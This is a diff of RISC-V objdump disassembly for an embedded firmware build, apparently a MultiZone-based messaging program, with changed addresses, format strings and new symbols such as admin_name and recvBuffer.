+20404322:	7320                	flw	fs0,96(a4)
+20404324:	6365                	lui	t1,0x19
+20404326:	20646e6f          	jal	t3,2044a52c <_data_lma+0x4600c>
+2040432a:	6669                	lui	a2,0x1a
+2040432c:	7320                	flw	fs0,96(a4)
+2040432e:	65706f63          	bltu	zero,s7,2040498c <_data_lma+0x46c>
+20404332:	000a                	c.slli	zero,0x2
+20404334:	6564                	flw	fs1,76(a0)
+20404336:	72616c63          	bltu	sp,t1,20404a6e <_data_lma+0x54e>
+2040433a:	6465                	lui	s0,0x19
+2040433c:	6420                	flw	fs0,72(s0)
+2040433e:	6762                	flw	fa4,24(sp)
+20404340:	000a                	c.slli	zero,0x2
+20404342:	0000                	unimp
+20404344:	7341                	lui	t1,0xffff0
+20404346:	6e676973          	csrrsi	s2,0x6e6,14
+2040434a:	6465                	lui	s0,0x19
+2040434c:	2220                	fld	fs0,64(a2)
+2040434e:	2241                	jal	204044ce <__sf_fake_stdout+0x62>
+20404350:	7420                	flw	fs0,104(s0)
+20404352:	6264206f          	j	20446978 <_data_lma+0x42458>
+20404356:	00000a67          	jalr	s4,zero # 0 <__stack_size-0x800>
+2040435a:	0000                	unimp
+2040435c:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
+20404360:	6e69                	lui	t3,0x1a
+20404362:	6e692067          	0x6e692067
+20404366:	6f74                	flw	fa3,92(a4)
+20404368:	6420                	flw	fs0,72(s0)
+2040436a:	6762                	flw	fa4,24(sp)
+2040436c:	6220                	flw	fs0,64(a2)
+2040436e:	6675                	lui	a2,0x1d
+20404370:	6566                	flw	fa0,88(sp)
+20404372:	3a72                	fld	fs4,312(sp)
+20404374:	6620                	flw	fs0,72(a2)
+20404376:	6f72                	flw	ft10,28(sp)
+20404378:	206d                	jal	20404422 <_exit+0x830>
+2040437a:	6f70                	flw	fa2,92(a4)
+2040437c:	69746973          	csrrsi	s2,0x697,8
+20404380:	7a206e6f          	jal	t3,2040ab22 <_data_lma+0x6602>
+20404384:	626d                	lui	tp,0x1b
+20404386:	2b20                	fld	fs0,80(a4)
+20404388:	2520                	fld	fs0,72(a0)
+2040438a:	3230                	fld	fa2,96(a2)
+2040438c:	2075                	jal	20404438 <__sf_fake_stderr+0xc>
+2040438e:	3025202b          	0x3025202b
+20404392:	7532                	flw	fa0,44(sp)
+20404394:	7720                	flw	fs0,104(a4)
+20404396:	6972                	flw	fs2,28(sp)
+20404398:	6974                	flw	fa3,84(a0)
+2040439a:	676e                	flw	fa4,216(sp)
+2040439c:	2520                	fld	fs0,72(a0)
+2040439e:	3230                	fld	fa2,96(a2)
+204043a0:	2075                	jal	2040444c <__sf_fake_stdin>
+204043a2:	7942                	flw	fs2,48(sp)
+204043a4:	6574                	flw	fa3,76(a0)
+204043a6:	00000a73          	0xa73
+204043aa:	0000                	unimp
+204043ac:	69726553          	0x69726553
+204043b0:	6c61                	lui	s8,0x18
+204043b2:	7a69                	lui	s4,0xffffa
+204043b4:	6465                	lui	s0,0x19
+204043b6:	6920                	flw	fs0,80(a0)
+204043b8:	746e                	flw	fs0,248(sp)
+204043ba:	5b203a6f          	jal	s4,2040796c <_data_lma+0x344c>
+204043be:	7325                	lui	t1,0xfffe9
+204043c0:	5b5d                	li	s6,-9
+204043c2:	3025                	jal	20403bea <_malloc_usable_size_r+0xc>
+204043c4:	7532                	flw	fa0,44(sp)
+204043c6:	5b5d                	li	s6,-9
+204043c8:	3025                	jal	20403bf0 <_malloc_usable_size_r+0x12>
+204043ca:	7532                	flw	fa0,44(sp)
+204043cc:	0a5d                	addi	s4,s4,23
+204043ce:	0000                	unimp
+204043d0:	69726553          	0x69726553
+204043d4:	6c61                	lui	s8,0x18
+204043d6:	7a69                	lui	s4,0xffffa
+204043d8:	6465                	lui	s0,0x19
+204043da:	6920                	flw	fs0,80(a0)
+204043dc:	746e                	flw	fs0,248(sp)
+204043de:	5b203a6f          	jal	s4,20407990 <_data_lma+0x3470>
+204043e2:	7325                	lui	t1,0xfffe9
+204043e4:	5b5d                	li	s6,-9
+204043e6:	3025                	jal	20403c0e <_exit+0x1c>
+204043e8:	7532                	flw	fa0,44(sp)
+204043ea:	5b5d                	li	s6,-9
+204043ec:	7325                	lui	t1,0xfffe9
+204043ee:	005d                	c.nop	23
+204043f0:	746e6553          	0x746e6553
+204043f4:	203a                	fld	ft0,392(sp)
+204043f6:	7325                	lui	t1,0xfffe9
+204043f8:	3025                	jal	20403c20 <_exit+0x2e>
+204043fa:	7532                	flw	fa0,44(sp)
+204043fc:	000a                	c.slli	zero,0x2
+204043fe:	0000                	unimp
+20404400:	746e6553          	0x746e6553
+20404404:	203a                	fld	ft0,392(sp)
+20404406:	3025                	jal	20403c2e <_exit+0x3c>
+20404408:	7532                	flw	fa0,44(sp)
+2040440a:	000a                	c.slli	zero,0x2
+2040440c:	746e6553          	0x746e6553
+20404410:	7720                	flw	fs0,104(a4)
+20404412:	6f68                	flw	fa0,92(a4)
+20404414:	656c                	flw	fa1,76(a0)
+20404416:	6d20                	flw	fs0,88(a0)
+20404418:	7365                	lui	t1,0xffff9
+2040441a:	65676173          	csrrsi	sp,0x656,14
+2040441e:	7420                	flw	fs0,104(s0)
+20404420:	6f7a206f          	j	204a7316 <_data_lma+0xa2df6>
+20404424:	656e                	flw	fa0,216(sp)
+20404426:	3120                	fld	fs0,96(a0)
+20404428:	000a                	c.slli	zero,0x2
 	...
 
-20405eec <__sf_fake_stderr>:
+2040442c <__sf_fake_stderr>:
 	...
 
-20405f0c <__sf_fake_stdin>:
+2040444c <__sf_fake_stdin>:
 	...
 
-20405f2c <__sf_fake_stdout>:
+2040446c <__sf_fake_stdout>:
 	...
-20405f4c:	2b302d23          	sw	s3,698(zero) # 2ba <__stack_size-0x546>
-20405f50:	0020                	addi	s0,sp,8
-20405f52:	0000                	unimp
-20405f54:	6c68                	flw	fa0,92(s0)
-20405f56:	004c                	addi	a1,sp,4
-20405f58:	6665                	lui	a2,0x19
-20405f5a:	47464567          	0x47464567
-20405f5e:	0000                	unimp
-20405f60:	3130                	fld	fa2,96(a0)
-20405f62:	3332                	fld	ft6,296(sp)
-20405f64:	3534                	fld	fa3,104(a0)
-20405f66:	3736                	fld	fa4,360(sp)
-20405f68:	3938                	fld	fa4,112(a0)
-20405f6a:	4241                	li	tp,16
-20405f6c:	46454443          	fmadd.q	fs0,fa0,ft4,fs0,rmm
-20405f70:	0000                	unimp
-20405f72:	0000                	unimp
-20405f74:	3130                	fld	fa2,96(a0)
-20405f76:	3332                	fld	ft6,296(sp)
-20405f78:	3534                	fld	fa3,104(a0)
-20405f7a:	3736                	fld	fa4,360(sp)
-20405f7c:	3938                	fld	fa4,112(a0)
-20405f7e:	6261                	lui	tp,0x18
-20405f80:	66656463          	bltu	a0,t1,204065e8 <_data_lma+0x608>
-20405f84:	0000                	unimp
-20405f86:	0000                	unimp
-20405f88:	e33e                	fsw	fa5,132(sp)
-20405f8a:	ffff                	0xffff
-20405f8c:	e354                	fsw	fa3,4(a4)
-20405f8e:	ffff                	0xffff
-20405f90:	e314                	fsw	fa3,0(a4)
-20405f92:	ffff                	0xffff
-20405f94:	e314                	fsw	fa3,0(a4)
-20405f96:	ffff                	0xffff
-20405f98:	e314                	fsw	fa3,0(a4)
-20405f9a:	ffff                	0xffff
-20405f9c:	e314                	fsw	fa3,0(a4)
-20405f9e:	ffff                	0xffff
-20405fa0:	e354                	fsw	fa3,4(a4)
-20405fa2:	ffff                	0xffff
-20405fa4:	e314                	fsw	fa3,0(a4)
-20405fa6:	ffff                	0xffff
-20405fa8:	e314                	fsw	fa3,0(a4)
-20405faa:	ffff                	0xffff
-20405fac:	e314                	fsw	fa3,0(a4)
-20405fae:	ffff                	0xffff
-20405fb0:	e314                	fsw	fa3,0(a4)
-20405fb2:	ffff                	0xffff
-20405fb4:	e4aa                	fsw	fa0,72(sp)
-20405fb6:	ffff                	0xffff
-20405fb8:	e392                	fsw	ft4,196(sp)
-20405fba:	ffff                	0xffff
-20405fbc:	e47c                	fsw	fa5,76(s0)
-20405fbe:	ffff                	0xffff
-20405fc0:	e314                	fsw	fa3,0(a4)
-20405fc2:	ffff                	0xffff
-20405fc4:	e314                	fsw	fa3,0(a4)
-20405fc6:	ffff                	0xffff
-20405fc8:	e4da                	fsw	fs6,72(sp)
-20405fca:	ffff                	0xffff
-20405fcc:	e314                	fsw	fa3,0(a4)
-20405fce:	ffff                	0xffff
-20405fd0:	e392                	fsw	ft4,196(sp)
-20405fd2:	ffff                	0xffff
-20405fd4:	e314                	fsw	fa3,0(a4)
-20405fd6:	ffff                	0xffff
-20405fd8:	e314                	fsw	fa3,0(a4)
-20405fda:	ffff                	0xffff
-20405fdc:	e484                	fsw	fs1,8(s1)
-20405fde:	ffff                	0xffff
+2040448c:	2b302d23          	sw	s3,698(zero) # 2ba <__stack_size-0x546>
+20404490:	0020                	addi	s0,sp,8
+20404492:	0000                	unimp
+20404494:	6c68                	flw	fa0,92(s0)
+20404496:	004c                	addi	a1,sp,4
+20404498:	6665                	lui	a2,0x19
+2040449a:	47464567          	0x47464567
+2040449e:	0000                	unimp
+204044a0:	3130                	fld	fa2,96(a0)
+204044a2:	3332                	fld	ft6,296(sp)
+204044a4:	3534                	fld	fa3,104(a0)
+204044a6:	3736                	fld	fa4,360(sp)
+204044a8:	3938                	fld	fa4,112(a0)
+204044aa:	4241                	li	tp,16
+204044ac:	46454443          	fmadd.q	fs0,fa0,ft4,fs0,rmm
+204044b0:	0000                	unimp
+204044b2:	0000                	unimp
+204044b4:	3130                	fld	fa2,96(a0)
+204044b6:	3332                	fld	ft6,296(sp)
+204044b8:	3534                	fld	fa3,104(a0)
+204044ba:	3736                	fld	fa4,360(sp)
+204044bc:	3938                	fld	fa4,112(a0)
+204044be:	6261                	lui	tp,0x18
+204044c0:	66656463          	bltu	a0,t1,20404b28 <_data_lma+0x608>
+204044c4:	0000                	unimp
+204044c6:	0000                	unimp
+204044c8:	eb46                	fsw	fa7,148(sp)
+204044ca:	ffff                	0xffff
+204044cc:	eb5c                	fsw	fa5,20(a4)
+204044ce:	ffff                	0xffff
+204044d0:	eb1c                	fsw	fa5,16(a4)
+204044d2:	ffff                	0xffff
+204044d4:	eb1c                	fsw	fa5,16(a4)
+204044d6:	ffff                	0xffff
+204044d8:	eb1c                	fsw	fa5,16(a4)
+204044da:	ffff                	0xffff
+204044dc:	eb1c                	fsw	fa5,16(a4)
+204044de:	ffff                	0xffff
+204044e0:	eb5c                	fsw	fa5,20(a4)
+204044e2:	ffff                	0xffff
+204044e4:	eb1c                	fsw	fa5,16(a4)
+204044e6:	ffff                	0xffff
+204044e8:	eb1c                	fsw	fa5,16(a4)
+204044ea:	ffff                	0xffff
+204044ec:	eb1c                	fsw	fa5,16(a4)
+204044ee:	ffff                	0xffff
+204044f0:	eb1c                	fsw	fa5,16(a4)
+204044f2:	ffff                	0xffff
+204044f4:	ecb2                	fsw	fa2,88(sp)
+204044f6:	ffff                	0xffff
+204044f8:	eb9a                	fsw	ft6,212(sp)
+204044fa:	ffff                	0xffff
+204044fc:	ec84                	fsw	fs1,24(s1)
+204044fe:	ffff                	0xffff
+20404500:	eb1c                	fsw	fa5,16(a4)
+20404502:	ffff                	0xffff
+20404504:	eb1c                	fsw	fa5,16(a4)
+20404506:	ffff                	0xffff
+20404508:	ece2                	fsw	fs8,88(sp)
+2040450a:	ffff                	0xffff
+2040450c:	eb1c                	fsw	fa5,16(a4)
+2040450e:	ffff                	0xffff
+20404510:	eb9a                	fsw	ft6,212(sp)
+20404512:	ffff                	0xffff
+20404514:	eb1c                	fsw	fa5,16(a4)
+20404516:	ffff                	0xffff
+20404518:	eb1c                	fsw	fa5,16(a4)
+2040451a:	ffff                	0xffff
+2040451c:	ec8c                	fsw	fa1,24(s1)
+2040451e:	ffff                	0xffff
 
 Disassembly of section .data:
 
-8000d800 <p.5>:
-8000d800:	d9ec                	sw	a1,116(a1)
-8000d802:	8000                	0x8000
-8000d804:	da2c                	sw	a1,112(a2)
-8000d806:	8000                	0x8000
-8000d808:	da6c                	sw	a1,116(a2)
-8000d80a:	8000                	0x8000
-8000d80c:	daac                	sw	a1,112(a3)
-8000d80e:	8000                	0x8000
-
-8000d810 <impure_data>:
-8000d810:	0000                	unimp
-8000d812:	0000                	unimp
-8000d814:	5f0c                	lw	a1,56(a4)
-8000d816:	2040                	fld	fs0,128(s0)
-8000d818:	5f2c                	lw	a1,120(a4)
-8000d81a:	2040                	fld	fs0,128(s0)
-8000d81c:	5eec                	lw	a1,124(a3)
-8000d81e:	2040                	fld	fs0,128(s0)
+8000d800 <impure_data>:
+8000d800:	0000                	unimp
+8000d802:	0000                	unimp
+8000d804:	444c                	lw	a1,12(s0)
+8000d806:	2040                	fld	fs0,128(s0)
+8000d808:	446c                	lw	a1,76(s0)
+8000d80a:	2040                	fld	fs0,128(s0)
+8000d80c:	442c                	lw	a1,72(s0)
+8000d80e:	2040                	fld	fs0,128(s0)
 	...
 
 Disassembly of section .sdata:
 
-8000d870 <_global_impure_ptr>:
-8000d870:	d810                	sw	a2,48(s0)
-8000d872:	8000                	0x8000
-
-8000d874 <h.1>:
-8000d874:	ffff                	0xffff
-8000d876:	ffff                	0xffff
+8000d860 <_global_impure_ptr>:
+8000d860:	d800                	sw	s0,48(s0)
+8000d862:	8000                	0x8000
 
-8000d878 <_heap_ptr.0>:
-8000d878:	e380                	fsw	fs0,0(a5)
-8000d87a:	8000                	0x8000
+8000d864 <admin_name>:
+8000d864:	424c                	lw	a1,4(a2)
+8000d866:	2040                	fld	fs0,128(s0)
 
-8000d87c <_impure_ptr>:
-8000d87c:	d810                	sw	a2,48(s0)
-8000d87e:	8000                	0x8000
+8000d868 <recvBuffer.1>:
+8000d868:	d8d4                	sw	a3,52(s1)
+8000d86a:	8000                	0x8000
+8000d86c:	d914                	sw	a3,48(a0)
+8000d86e:	8000                	0x8000
 
-Disassembly of section .bss:
-
-8000d880 <esc.3>:
-8000d880:	0000                	unimp
-	...
+8000d870 <_heap_ptr.0>:
+8000d870:	e1e0                	fsw	fs0,68(a1)
+8000d872:	8000                	0x8000
 
-8000d884 <p.2>:
-8000d884:	0000                	unimp
-	...
+8000d874 <_impure_ptr>:
+8000d874:	d800                	sw	s0,48(s0)
+8000d876:	8000                	0x8000
 
-8000d888 <_global_atexit>:
-8000d888:	0000                	unimp
-	...
+Disassembly of section .bss:
 
-8000d88c <__malloc_free_list>:
-8000d88c:	0000                	unimp
+8000d878 <__malloc_free_list>:
+8000d878:	0000                	unimp
 	...
 
-8000d890 <__malloc_sbrk_start>:
-8000d890:	0000                	unimp
+8000d87c <__malloc_sbrk_start>:
+8000d87c:	0000                	unimp
 	...
 
-8000d894 <errno>:
-8000d894:	0000                	unimp
+8000d880 <_global_atexit>:
+8000d880:	0000                	unimp
 	...
 
-8000d898 <buffer>:
+8000d884 <errno>:
+8000d884:	0000                	unimp
 	...
 
-8000d8c0 <history.0>:
+8000d888 <buffer>:
 	...
 
-8000d9c8 <inputline>:
+8000d8b0 <inputline>:
 	...
 
-8000d9ec <str.4>:
+8000d8d4 <str.0>:
 	...
 
-8000daec <_global_atexit0>:
+8000d954 <_global_atexit0>:
 	...
 
 Disassembly of section .stack:
 
-8000db80 <__BSS_END__+0x8>:
+8000d9e0 <__BSS_END__>:
 	...
 
 Disassembly of section .heap:
 
-8000e380 <_end>:
+8000e1e0 <_end>:
 	...
 
 Disassembly of section .riscv.attributes:
@@ -7402,7 +5025,7 @@ Disassembly of section .debug_line:
       42:	0203010b          	0x203010b
       46:	0809                	addi	a6,a6,2
       48:	0100                	addi	s0,sp,128
-      4a:	04090303          	lb	t1,64(s2) # ffff8040 <_heap_end+0x7ffe9840>
+      4a:	04090303          	lb	t1,64(s2) # 1b040 <__stack_size+0x1a840>
       4e:	0100                	addi	s0,sp,128
       50:	08090103          	lb	sp,128(s2)
       54:	0100                	addi	s0,sp,128
@@ -7461,9 +5084,9 @@ Disassembly of section .debug_line:
       f2:	0209                	addi	tp,tp,2
       f4:	0000                	unimp
       f6:	0101                	addi	sp,sp,0
-      f8:	271a                	fld	fa4,384(sp)
+      f8:	0a36                	slli	s4,s4,0xd
       fa:	0000                	unimp
-      fc:	04790003          	lb	zero,71(s2)
+      fc:	04a30003          	lb	zero,74(t1) # ffffa04a <_heap_end+0x7ffeb84a>
      100:	0000                	unimp
      102:	0101                	addi	sp,sp,0
      104:	000d0efb          	0xd0efb
@@ -7530,6757 +5153,4008 @@ Disassembly of section .debug_line:
      1aa:	756c                	flw	fa1,108(a0)
      1ac:	6564                	flw	fs1,76(a0)
      1ae:	7379732f          	0x7379732f
-     1b2:	2f00                	fld	fs0,24(a4)
-     1b4:	6f68                	flw	fa0,92(a4)
-     1b6:	656d                	lui	a0,0x1b
-     1b8:	7369722f          	0x7369722f
-     1bc:	742f7663          	bgeu	t5,sp,908 <__stack_size+0x108>
-     1c0:	736c6f6f          	jal	t5,c68f6 <__stack_size+0xc60f6>
-     1c4:	7369722f          	0x7369722f
-     1c8:	672d7663          	bgeu	s10,s2,834 <__stack_size+0x34>
-     1cc:	756e                	flw	fa0,248(sp)
-     1ce:	742d                	lui	s0,0xfffeb
-     1d0:	636c6f6f          	jal	t5,c6806 <__stack_size+0xc6006>
-     1d4:	6168                	flw	fa0,68(a0)
-     1d6:	6e69                	lui	t3,0x1a
-     1d8:	682d                	lui	a6,0xb
-     1da:	7865                	lui	a6,0xffff9
-     1dc:	6966                	flw	fs2,88(sp)
-     1de:	6576                	flw	fa0,92(sp)
-     1e0:	7369722f          	0x7369722f
-     1e4:	34367663          	bgeu	a2,gp,530 <__stack_size-0x2d0>
-     1e8:	752d                	lui	a0,0xfffeb
-     1ea:	6b6e                	flw	fs6,216(sp)
-     1ec:	6f6e                	flw	ft10,216(sp)
-     1ee:	652d6e77          	0x652d6e77
-     1f2:	666c                	flw	fa1,76(a2)
-     1f4:	636e692f          	0x636e692f
-     1f8:	756c                	flw	fa1,108(a0)
-     1fa:	6564                	flw	fs1,76(a0)
-     1fc:	2f00                	fld	fs0,24(a4)
-     1fe:	6f68                	flw	fa0,92(a4)
-     200:	656d                	lui	a0,0x1b
-     202:	7369722f          	0x7369722f
-     206:	742f7663          	bgeu	t5,sp,952 <__stack_size+0x152>
-     20a:	736c6f6f          	jal	t5,c6940 <__stack_size+0xc6140>
-     20e:	7369722f          	0x7369722f
-     212:	672d7663          	bgeu	s10,s2,87e <__stack_size+0x7e>
-     216:	756e                	flw	fa0,248(sp)
-     218:	742d                	lui	s0,0xfffeb
-     21a:	636c6f6f          	jal	t5,c6850 <__stack_size+0xc6050>
-     21e:	6168                	flw	fa0,68(a0)
-     220:	6e69                	lui	t3,0x1a
-     222:	682d                	lui	a6,0xb
-     224:	7865                	lui	a6,0xffff9
-     226:	6966                	flw	fs2,88(sp)
-     228:	6576                	flw	fa0,92(sp)
-     22a:	62696c2f          	0x62696c2f
-     22e:	6363672f          	0x6363672f
-     232:	7369722f          	0x7369722f
-     236:	34367663          	bgeu	a2,gp,582 <__stack_size-0x27e>
-     23a:	752d                	lui	a0,0xfffeb
-     23c:	6b6e                	flw	fs6,216(sp)
-     23e:	6f6e                	flw	ft10,216(sp)
-     240:	652d6e77          	0x652d6e77
-     244:	666c                	flw	fa1,76(a2)
-     246:	2e30312f          	0x2e30312f
-     24a:	2e31                	jal	566 <__stack_size-0x29a>
-     24c:	2f30                	fld	fa2,88(a4)
-     24e:	6e69                	lui	t3,0x1a
-     250:	64756c63          	bltu	a0,t2,8a8 <__stack_size+0xa8>
-     254:	0065                	c.nop	25
-     256:	6d6f682f          	0x6d6f682f
-     25a:	2f65                	jal	a12 <__stack_size+0x212>
-     25c:	6972                	flw	fs2,28(sp)
-     25e:	2f766373          	csrrsi	t1,0x2f7,12
-     262:	6f74                	flw	fa3,92(a4)
-     264:	2f736c6f          	jal	s8,36d5a <__stack_size+0x3655a>
-     268:	6972                	flw	fs2,28(sp)
-     26a:	2d766373          	csrrsi	t1,0x2d7,12
-     26e:	2d756e67          	0x2d756e67
-     272:	6f74                	flw	fa3,92(a4)
-     274:	68636c6f          	jal	s8,368fa <__stack_size+0x360fa>
-     278:	6961                	lui	s2,0x18
-     27a:	2d6e                	fld	fs10,216(sp)
-     27c:	6568                	flw	fa0,76(a0)
-     27e:	6678                	flw	fa4,76(a2)
-     280:	7669                	lui	a2,0xffffa
-     282:	2f65                	jal	a3a <__stack_size+0x23a>
-     284:	696c                	flw	fa1,84(a0)
-     286:	2f62                	fld	ft10,24(sp)
-     288:	2f636367          	0x2f636367
-     28c:	6972                	flw	fs2,28(sp)
-     28e:	36766373          	csrrsi	t1,0x367,12
-     292:	2d34                	fld	fa3,88(a0)
-     294:	6e75                	lui	t3,0x1d
-     296:	776f6e6b          	0x776f6e6b
-     29a:	2d6e                	fld	fs10,216(sp)
-     29c:	6c65                	lui	s8,0x19
-     29e:	2f66                	fld	ft10,88(sp)
-     2a0:	3031                	jal	fffffaac <_heap_end+0x7fff12ac>
-     2a2:	312e                	fld	ft2,232(sp)
-     2a4:	302e                	fld	ft0,232(sp)
-     2a6:	636e692f          	0x636e692f
-     2aa:	756c                	flw	fa1,108(a0)
-     2ac:	6564                	flw	fs1,76(a0)
-     2ae:	662d                	lui	a2,0xb
-     2b0:	7869                	lui	a6,0xffffa
-     2b2:	6465                	lui	s0,0x19
-     2b4:	2e00                	fld	fs0,24(a2)
-     2b6:	2f2e                	fld	ft10,200(sp)
-     2b8:	7362                	flw	ft6,56(sp)
-     2ba:	2f70                	fld	fa2,216(a4)
-     2bc:	3358                	fld	fa4,160(a4)
-     2be:	3030                	fld	fa2,96(s0)
-     2c0:	2e00                	fld	fs0,24(a2)
-     2c2:	2f2e                	fld	ft10,200(sp)
-     2c4:	7865                	lui	a6,0xffff9
-     2c6:	2f74                	fld	fa3,216(a4)
-     2c8:	756d                	lui	a0,0xffffb
-     2ca:	746c                	flw	fa1,108(s0)
-     2cc:	7a69                	lui	s4,0xffffa
-     2ce:	00656e6f          	jal	t3,562d4 <__stack_size+0x55ad4>
-     2d2:	6d00                	flw	fs0,24(a0)
-     2d4:	6961                	lui	s2,0x18
-     2d6:	2e6e                	fld	ft8,216(sp)
-     2d8:	00000063          	beqz	zero,2d8 <__stack_size-0x528>
-     2dc:	5f00                	lw	s0,56(a4)
-     2de:	6564                	flw	fs1,76(a0)
-     2e0:	6166                	flw	ft2,88(sp)
-     2e2:	6c75                	lui	s8,0x1d
-     2e4:	5f74                	lw	a3,124(a4)
-     2e6:	7974                	flw	fa3,116(a0)
-     2e8:	6570                	flw	fa2,76(a0)
-     2ea:	00682e73          	csrrs	t3,0x6,a6
-     2ee:	0001                	nop
-     2f0:	5f00                	lw	s0,56(a4)
-     2f2:	69647473          	csrrci	s0,0x696,8
-     2f6:	746e                	flw	fs0,248(sp)
-     2f8:	682e                	flw	fa6,200(sp)
-     2fa:	0200                	addi	s0,sp,256
-     2fc:	0000                	unimp
-     2fe:	645f 6665 7561      	0x75616665645f
-     304:	746c                	flw	fa1,108(s0)
-     306:	665f 6e63 6c74      	0x6c746e63665f
-     30c:	682e                	flw	fa6,200(sp)
-     30e:	0200                	addi	s0,sp,256
-     310:	0000                	unimp
-     312:	69647473          	csrrci	s0,0x696,8
-     316:	00682e6f          	jal	t3,8231c <__stack_size+0x81b1c>
-     31a:	75000003          	lb	zero,1872(zero) # 750 <__stack_size-0xb0>
-     31e:	696e                	flw	fs2,216(sp)
-     320:	2e647473          	csrrci	s0,0x2e6,8
-     324:	0068                	addi	a0,sp,12
-     326:	0002                	c.slli64	zero
-     328:	7300                	flw	fs0,32(a4)
-     32a:	7274                	flw	fa3,100(a2)
-     32c:	6e69                	lui	t3,0x1a
-     32e:	00682e67          	0x682e67
-     332:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
-     336:	6474                	flw	fa3,76(s0)
-     338:	696c                	flw	fa1,84(a0)
-     33a:	2e62                	fld	ft8,24(sp)
-     33c:	0068                	addi	a0,sp,12
-     33e:	3c000003          	lb	zero,960(zero) # 3c0 <__stack_size-0x440>
-     342:	7562                	flw	fa0,56(sp)
-     344:	6c69                	lui	s8,0x1a
-     346:	2d74                	fld	fa3,216(a0)
-     348:	6e69                	lui	t3,0x1a
-     34a:	003e                	c.slli	zero,0xf
-     34c:	0000                	unimp
-     34e:	6600                	flw	fs0,8(a2)
-     350:	6c746e63          	bltu	s0,t2,a2c <__stack_size+0x22c>
-     354:	682e                	flw	fa6,200(sp)
-     356:	0300                	addi	s0,sp,384
-     358:	0000                	unimp
-     35a:	6366                	flw	ft6,88(sp)
-     35c:	746e                	flw	fs0,248(sp)
-     35e:	2e6c                	fld	fa1,216(a2)
-     360:	0068                	addi	a0,sp,12
-     362:	0002                	c.slli64	zero
-     364:	5f00                	lw	s0,56(a4)
-     366:	6e61                	lui	t3,0x18
-     368:	682e6973          	csrrsi	s2,0x682,28
-     36c:	0300                	addi	s0,sp,384
-     36e:	0000                	unimp
-     370:	656e                	flw	fa0,216(sp)
-     372:	62696c77          	0x62696c77
-     376:	682e                	flw	fa6,200(sp)
-     378:	0300                	addi	s0,sp,384
-     37a:	0000                	unimp
-     37c:	6e5f 7765 696c      	0x696c77656e5f
-     382:	5f62                	lw	t5,56(sp)
-     384:	6576                	flw	fa0,92(sp)
-     386:	7372                	flw	ft6,60(sp)
-     388:	6f69                	lui	t5,0x1a
-     38a:	2e6e                	fld	ft8,216(sp)
-     38c:	0068                	addi	a0,sp,12
-     38e:	63000003          	lb	zero,1584(zero) # 630 <__stack_size-0x1d0>
-     392:	69666e6f          	jal	t3,66a28 <__stack_size+0x66228>
-     396:	00682e67          	0x682e67
-     39a:	0002                	c.slli64	zero
-     39c:	6900                	flw	fs0,16(a0)
-     39e:	6565                	lui	a0,0x19
-     3a0:	6665                	lui	a2,0x19
-     3a2:	2e70                	fld	fa2,216(a2)
-     3a4:	0068                	addi	a0,sp,12
-     3a6:	0001                	nop
-     3a8:	6600                	flw	fs0,8(a2)
-     3aa:	6165                	addi	sp,sp,112
-     3ac:	7574                	flw	fa3,108(a0)
-     3ae:	6572                	flw	fa0,28(sp)
-     3b0:	00682e73          	csrrs	t3,0x6,a6
-     3b4:	0002                	c.slli64	zero
-     3b6:	6300                	flw	fs0,0(a4)
-     3b8:	6564                	flw	fs1,76(a0)
-     3ba:	7366                	flw	ft6,120(sp)
-     3bc:	682e                	flw	fa6,200(sp)
-     3be:	0200                	addi	s0,sp,256
-     3c0:	0000                	unimp
-     3c2:	64647473          	csrrci	s0,0x646,8
-     3c6:	6665                	lui	a2,0x19
-     3c8:	682e                	flw	fa6,200(sp)
-     3ca:	0400                	addi	s0,sp,512
-     3cc:	0000                	unimp
-     3ce:	7974                	flw	fa3,116(a0)
-     3d0:	6570                	flw	fa2,76(a0)
-     3d2:	00682e73          	csrrs	t3,0x6,a6
-     3d6:	0002                	c.slli64	zero
-     3d8:	5f00                	lw	s0,56(a4)
-     3da:	7974                	flw	fa3,116(a0)
-     3dc:	6570                	flw	fa2,76(a0)
-     3de:	00682e73          	csrrs	t3,0x6,a6
-     3e2:	0001                	nop
-     3e4:	5f00                	lw	s0,56(a4)
-     3e6:	7974                	flw	fa3,116(a0)
-     3e8:	6570                	flw	fa2,76(a0)
-     3ea:	00682e73          	csrrs	t3,0x6,a6
-     3ee:	0002                	c.slli64	zero
-     3f0:	6500                	flw	fs0,8(a0)
-     3f2:	646e                	flw	fs0,216(sp)
-     3f4:	6169                	addi	sp,sp,208
-     3f6:	2e6e                	fld	ft8,216(sp)
-     3f8:	0068                	addi	a0,sp,12
-     3fa:	0001                	nop
-     3fc:	5f00                	lw	s0,56(a4)
-     3fe:	6e65                	lui	t3,0x19
-     400:	6964                	flw	fs1,84(a0)
-     402:	6e61                	lui	t3,0x18
-     404:	682e                	flw	fa6,200(sp)
-     406:	0100                	addi	s0,sp,128
-     408:	0000                	unimp
-     40a:	656c6573          	csrrsi	a0,0x656,24
-     40e:	682e7463          	bgeu	t3,sp,a96 <__stack_size+0x296>
-     412:	0200                	addi	s0,sp,256
-     414:	0000                	unimp
-     416:	735f 6769 6573      	0x65736769735f
-     41c:	2e74                	fld	fa3,216(a2)
-     41e:	0068                	addi	a0,sp,12
-     420:	0002                	c.slli64	zero
-     422:	5f00                	lw	s0,56(a4)
-     424:	6974                	flw	fa3,84(a0)
-     426:	656d                	lui	a0,0x1b
-     428:	6176                	flw	ft2,92(sp)
-     42a:	2e6c                	fld	fa1,216(a2)
-     42c:	0068                	addi	a0,sp,12
-     42e:	0002                	c.slli64	zero
-     430:	7400                	flw	fs0,40(s0)
-     432:	6d69                	lui	s10,0x1a
-     434:	7365                	lui	t1,0xffff9
-     436:	6570                	flw	fa2,76(a0)
-     438:	00682e63          	0x682e63
-     43c:	0002                	c.slli64	zero
-     43e:	5f00                	lw	s0,56(a4)
-     440:	6974                	flw	fa3,84(a0)
-     442:	656d                	lui	a0,0x1b
-     444:	63657073          	csrci	0x636,10
-     448:	682e                	flw	fa6,200(sp)
-     44a:	0200                	addi	s0,sp,256
-     44c:	0000                	unimp
-     44e:	705f 6874 6572      	0x65726874705f
-     454:	6461                	lui	s0,0x18
-     456:	7974                	flw	fa3,116(a0)
-     458:	6570                	flw	fa2,76(a0)
-     45a:	00682e73          	csrrs	t3,0x6,a6
-     45e:	0002                	c.slli64	zero
-     460:	7300                	flw	fs0,32(a4)
-     462:	64656863          	bltu	a0,t1,ab2 <__stack_size+0x2b2>
-     466:	682e                	flw	fa6,200(sp)
-     468:	0200                	addi	s0,sp,256
-     46a:	0000                	unimp
-     46c:	7974                	flw	fa3,116(a0)
-     46e:	6570                	flw	fa2,76(a0)
